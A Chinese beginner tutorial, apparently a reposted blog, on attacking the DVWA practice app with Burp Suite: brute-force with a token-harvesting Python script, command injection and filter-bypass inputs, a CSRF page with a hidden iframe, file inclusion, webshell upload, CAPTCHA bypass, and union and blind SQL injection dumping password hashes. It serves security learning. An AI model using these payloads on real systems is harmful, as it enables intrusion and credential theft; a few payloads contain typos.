您的位置:首页 > 产品设计 > UI/UE

Burpsuite + DVWA 入门实战

2019-06-13 18:21 3647 查看

功能介绍
burpsuit是一个用来抓包、改包、爆破密码的工具。

环境
Burpsuite 版本:1.7
浏览器:火狐

抓取第一个包

1.firefox代理设置(burpsuite默认为127.0.0.1:8080,所以为了方便这里也用)
2.firefox的证书设置
url栏输入 http://burp,点击 CA Certificate 下载证书(放桌面就行)
导入证书
3.burpsuite的设置

然后就可以抓包了
注意抓包的时候浏览器打不开网页属于正常现象,如果需要继续浏览,点击“Intercept is on”或者“Forward”按钮即可。

Repeater板块

在proxy模块抓到包后,点击Action按钮,选择 Send to Repeater

转到Repeater板块,点击go按钮,在Response区域内,可以看到服务器返回的信息

Intruder板块

同上,Action按钮 --> Send to Intruder ,转到 Intruder 板块。来到 Positions 子版块,看到有许多绿色背景文本,点击右侧 Clear 按钮 清除变量,并选中你想要的内容点击 Add 按钮来添加变量。

然后来到 payload 子页面,进行以下设置:(payload set :字典ID)

最后点击 Start attack 按钮

配置DVWA

介绍:其实就是一个供我们练习用的虚拟环境
首先安装XAMPP:https://www.apachefriends.org/zh_cn/index.html
安装完了以后在Apache及MySQL选择行中点击start便可创建虚拟环境:

但是我发现我的Apache是运行不起来的…别的也不多说了,直接上解决办法:
先点右上角Config按钮出现下图——

再点Service and Port Settings ,设置 端口号为8088/4431(原来是80/443)

点击Apache 后面的config按钮,依次修改两个配置文件



重启XAMPP,成功。

然后开始搞DVWA,先从官网下载.zip文件:http://www.dvwa.co.uk/

将文件解压至XAMPP目录下的htdocs文件夹中

打开子路径‘config’文件夹,将原来的文件改为config.ini.php(打开方式-记事本-另存为-所有文件)

回到XAMPP,点击“Apache”或“Mysql”的Admin按钮,打开网页。在后面追加以下内容,就可以打开DVWA的主页了:

一开始它提示我除了两个错误(第一个错误我没有解决,但是没有影响),可以参考这篇文章对文件进行修改:https://www.geek-share.com/detail/2683298577.html

点击DVWA主页下面的 Create / Reset Database 按钮,就可以登陆了。默认的登录名和密码有很多,我在这里罗列出来:


输入账号密码后,成功登录系统:

注意,火狐的代理默认是localhost 、 127.0.0.1 不是用代理,需要把这里的内容删除:

DVWA·Brute Force 板块 - low

打开brute force 板块 , 随便填写账号、密码,点击Login按钮:

在 burpsuit 里抓到的包是这样的:

点击Action 按钮 ,转到 intruder 板块,设置账号、密码 为 扫面对象:(这里Cluster bomb 是 扫描1字典*2字典 次数,也就是username 和 password 的扫描完全独立。)

点击 start attack 按钮 ,等待扫描完成。可以看到这一条的相应长度(length)比较特殊,我们记录下来,等下去 DVWA 验证。

成功通过!

DVWA·Brute Force 板块 - medium

首先先把 ‘Security Level’ 从 low 修改为 meddle。打开XAMPP的安装路径,打开 config.inc.php

把 default_security_level 修改为 meddle , 然后清空浏览器缓存,重新打开DVWA主页

修改成功。

其实 middle 也可以进行密码爆破,这里就 pass 了。

DVWA·Brute Force 板块 - high

首先,用上面的方法把难度修改为 high

然后老样子,抓一个包,此时看到4个参数:

因为加入了token(令牌)校验,所以 burpsuit 就不能爆破了 , 推荐使用 python 编写脚本来实时的获取 token 的值,代码如下(来自网络):

from bs4 import BeautifulSoup
import urllib2
header={
'Host': '192.168.153.130',
'Cache-Control': 'max-age=0',
'If-None-Match': "307-52156c6a290c0",
'If-Modified-Since': 'Mon, 05 Oct 2015 07:51:07 GMT',
'User-Agent': 'Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) 					    Chrome/53.0.2785.116 Safari/537.36',
'Accept': '*/*',
'Referer': 'http://192.168.153.130/dvwa/vulnerabilities/brute/index.php',
'Accept-Encoding': 'gzip, deflate, sdch',
'Accept-Language': 'zh-CN,zh;q=0.8',
'Cookie': 'security=high; PHPSESSID=5re92j36t4f2k1gvnqdf958bi2'}
requrl = "http://192.168.153.130/dvwa/vulnerabilities/brute/"

def get_token(requrl,header):
req = urllib2.Request(url=requrl,headers=header)
response = urllib2.urlopen(req)
print response.getcode(),
the_page = response.read()
print len(the_page)
soup = BeautifulSoup(the_page,"html.parser")
user_token = soup.form.input.input.input.input["value"] #get the user_token
return user_token

user_token = get_token(requrl,header)
i=0
for line in open("rkolin.txt"):
requrl = "http://192.168.153.130/dvwa/vulnerabilities/brute/"+"?				username=admin&password="+line.strip()+"&Login=Login&user_token="+user_token
i = i+1
print i,'admin',line.strip(),
user_token = get_token(requrl,header)
if (i == 10):
break

剩下的 impossible 等级就不说了,不适合新手入门。

DVWA·Command Injection 板块 - low

打开 Command Injection 板块 , 输入 127.0.0.1 出现以下结果:

输入 net user 出现以下结果:

输入 127.0.0.1&&net user 出现以下结果:(暴露了本机用户名等敏感信息)

DVWA·Command Injection 板块 - medium

medium 等级加入了对”&&”与” ;” 的过滤(变成空字符),但是好在“&”没有过滤,所以我们使用以下语句:127.0.0.1&;&ipconfig (过滤后为:127.0.0.1&&ipconfig )

输入 127.0.0.1

输入 ipconfig

输入 127.0.0.1&&ipconfig

输入 127.0.0.1&;&ipconfig

DVWA·Command Injection 板块 - high

过滤了& ; |空格 - $ ( ) ` ||
因为| 后有一个空格,所以可以使用 127.0.0.1|net user (其中|的意思是把127.0.0.1输出作为net user的输入)


impossible 日常略过——

DVWA·CSRF 板块 - low

首先打开 CSRF 板块 , 此时 URL 是这样的:

然后 , 我们修改新密码为 password (本来密码就是 password 嘛…),观察 新URL:

http://localhost:8088/DVWA-master/vulnerabilities/csrf/?password_new=password&password_conf=password&Change=Change#


我们把URL记录下来,将URL的 password_new 、 password_conf 的值改为 hack , 按下回车。再次登录的时候发现已经登录不上去了。

之后我们清理下浏览器的缓存,再次使用 admin+password 登录:


那么还有一个问题,我们怎么知道哪两个字段的 name 就是 password_new 、 password_conf 呢?我们打开 burpsuit 抓一个包看看:

现在明白怎么回事了吧。

DVWA·CSRF 板块 medium

medium 级别在URL上修改 password_new 、 password_conf 会显示失败:

但是可以用 burpsuit 达到目的,首先抓包:

把 password_new 、 password_conf 改成 hack 然后点击 Forward 按钮 重新发包:

修改成功:

最后清空浏览器缓存,使用 admin+hack 登录:
成功!

DVWA·CSRF 板块 high

要绕过High级别的反CSRF机制,关键是要获取token,要利用受害者的cookie去修改密码的页面获取关键的token。试着去构造一个攻击页面,将其放置在攻击者的服务器,引诱受害者访问,从而完成CSRF攻击,下面是代码。
参考代码:

<script type="text/javascript">

function attack()

{

document.getElementsByName('user_token')[0].value=document.getElementById("hack").contentWindow.document.getElementsByName('user_token')[0].value;

document.getElementById("transfer").submit();

}

</script>

<iframe src="http://192.168.153.130/dvwa/vulnerabilities/csrf" id="hack" border="0" style="display:none;">

</iframe>

<body onload="attack()">

<form method="GET" id="transfer" action="http://192.168.153.130/dvwa/vulnerabilities/csrf">

<input type="hidden" name="password_new" value="password">

<input type="hidden" name="password_conf" value="password">

<input type="hidden" name="user_token" value="">

<input type="hidden" name="Change" value="Change">

</form>

</body>

参考网址:https://www.freebuf.com/articles/web/118352.html

DVWA·File Inclusion 板块 low

进入 file inclusion 板块 , 看到三个文件链接:

分别点开后,是这样的:


我们不用去管文件里的内容,看URL:
我们修改下文件名,按下回车。发现它暴露了服务器的绝对路径。这样我们就可以用猜测的方法去读取我们原来无法读取的文件了。

另外我们还可以向服务器上传我们自己的文件,比如我在 “我文件所在服务器” 的根目录,创建一个text.txt , 内容是 hello

在URL输入以下路径后 回车 ,上传成功!

DVWA·File Inclusion 板块 medium

Medium级别的代码增加了str_replace函数,对page参数进行了一定的处理,将”http:// ”、”https://”、 ” …/”、”…\”替换为空字符,即删除。
所以之前 远程文件上传就会失败:

所以在这里我们只能使用绝对路径 , 来上传本地文件:

DVWA·File Inclusion 板块 high

High级别的代码使用了fnmatch函数检查page参数,要求page参数的开头必须是file,服务器才会去包含相应的文件。所以就不能直接使用本地文件路径了:

所以我们可以这样写:

DVWA·File Upload 板块 low

因为 low 等级没有限制文件上传类型 , 所以可以直接上传 .php文件 , 然后配合 中国菜刀。

DVWA·File Upload 板块 medium

medium 限制了文件上传的类型,只能为 png、jpg 所以,我们就要把 test.php 重命名为 test.png (隐藏.php扩展名) 这里过程就不演示了。

DVWA·File Upload 板块 high

high 等级会读取文件头,返回图片的长、宽等信息,如果没有相关的图片文件头,函数会报错。
打开 cmd ,输入以下命令


上传成功!

DVWA·Insecure CAPTCHA 板块 low

首先注意,这里发送验证码是需要翻墙的(我虽然有梯子,但是因为火狐浏览器开了127.0.0.1的代理,所以也没办法收到验证码,所以我们就直接抓包)
输入新密码 , 点击 Change 按钮 , 抓包:

然后我们要把 step 参数改成 2 :

修改成功!

DVWA·Insecure CAPTCHA 板块 medium

medium 等级就不能使用 low 的改包方法了:

重新抓包 , 在包尾加上这样一段话:(但是需要知道这个页面的源码,否则你不知道变量的名字)

DVWA·Insecure CAPTCHA 板块 high

原理还是一样,就是多了几个参数。(还是需要看源码)

DVWA·SQL Injection 板块 low

输入1,查询结果如图:

输入2:

输入3:

输入4:
输入5:

输入6就不会显示了,也就是说一共表里只有5条数据。
输入:1’or’1’='1 , 显示以下结果:

原理:select * form 表名 where id = 1 or 1 = 1 , 因为1=1恒成立,所以就会打印所有的数据。


另外我们也输入 : 1 ’ union select 1 , database() ’ 来获取数据库信息

也可以获取表名:

1 ' union select 1 , group_concat(table_name) from information_schema.tables where table_schema=database()#

union :拼接 sql 语句 (这里也就是实现两个 select 查询)
group_concat(XXX):把某个字段的值在同一行打印出来
information_schema:每个 mysql 都有这个库
table_schema:数据库名
table_name:数据表名


还可以获取表中的字段名:

1 ' union select 1 , group_concat(column_name) from information_schema.columns where table_name = 'users' #

column_name:列名
columns :列


打印数据:

' union select group_concat(user_id,first_name,last_name),group_concat(password) from users #


其中 md5 对应的明文密码为:

5f4dcc3b5aa765d61d8327deb882cf99:password
e99a18c428cb38d5f260853678922e03:abc123
8d3533d75ae2c3966d7e0d4fcc69216b:charley
0d107d09f5bbe40cade3de5c71e9e9b7:letmein
5f4dcc3b5aa765d61d8327deb882cf99:password

DVWA·SQL Injection 板块 mediun

medium 级别无法在前端注入,但是可以用 burpsuit 抓包修改。并且过滤了一些特殊符号

改包截图:(答题类似,就不一一列举。重点就是去掉之前的 ’ 符号)


这里需要留意的是,medium 级别过滤了 ’ 符号。所以以下代码就会失效:

1 union select 1,group_concat(column_name) from information_schema.columns where table_name=’users’#

这里我们需要把 ’users’ 转换成 16 进制 。(这种工具网上多得是),用0x27757365727327 代替 ‘users’

ID: 1 union select 1,group_concat(column_name) from information_schema.columns where table_name=0x7573657273 #

这样就成功了。

high 等级的就不说了,原理基本都一样。

DVWA·SQL Injection (Blind) 板块 low

盲注,就是攻击者没法再前端看到返回的结果,只能知道注入的对错。
首先输入:1’ and 1 = 1 # , 存在

再输入:1’ and 1 = 2 # , 不存在

那么就说明存在盲注漏洞。继续猜 “数据库名” 长度。

输入:1’ and length(database())=1 # 不存在
输入:1’ and length(database())=2 # 不存在
输入:1’ and length(database())=3 # 不存在
输入:1’ and length(database())=4 # 存在


知道了数据库名长度 = 4 , 接下来猜 “数据库名”(二分法猜,推荐写脚本。这里给个思路)
代码来自网络:

输入1’ and ascii(substr(databse(),1,1))>97 #,显示存在,说明数据库名的第一个字符的ascii值大于97(小写字母a的ascii值);

输入1’ and ascii(substr(databse(),1,1))<122 #,显示存在,说明数据库名的第一个字符的ascii值小于122(小写字母z的ascii值);

输入1’ and ascii(substr(databse(),1,1))<109 #,显示存在,说明数据库名的第一个字符的ascii值小于109(小写字母m的ascii值);

输入1’ and ascii(substr(databse(),1,1))<103 #,显示存在,说明数据库名的第一个字符的ascii值小于103(小写字母g的ascii值);

输入1’ and ascii(substr(databse(),1,1))<100 #,显示不存在,说明数据库名的第一个字符的ascii值不小于100(小写字母d的ascii值);

输入1’ and ascii(substr(databse(),1,1))>100 #,显示不存在,说明数据库名的第一个字符的ascii值不大于100(小写字母d的ascii值),所以数据库名的第一个字符的ascii值为100,即小写字母d。

… 重复

类似的还有
·猜表数量:

1’ and (select count (table_name) from information_schema.tables where table_schema=database())=1 # 显示不存在

1’ and (select count (table_name) from information_schema.tables where table_schema=database() )=2 # 显示存在

猜表名(和猜数据库名一个道理) 这里不说了就。 剩下的猜字段的也不说了。

另外就是一下情况说明存在 “时间盲注”:

输入1’ and sleep(5) #,感觉到明显延迟;

输入1 and sleep(5) #,没有延迟;

最后,盲注终于搞完了(medium high 都略过,因为就是加了字符串过滤,可以参考上面的 SQL Injection 的方法)

内容来自用户分享和网络整理,不保证内容的准确性,如有侵权内容,可联系管理员处理 点击这里给我发消息
标签: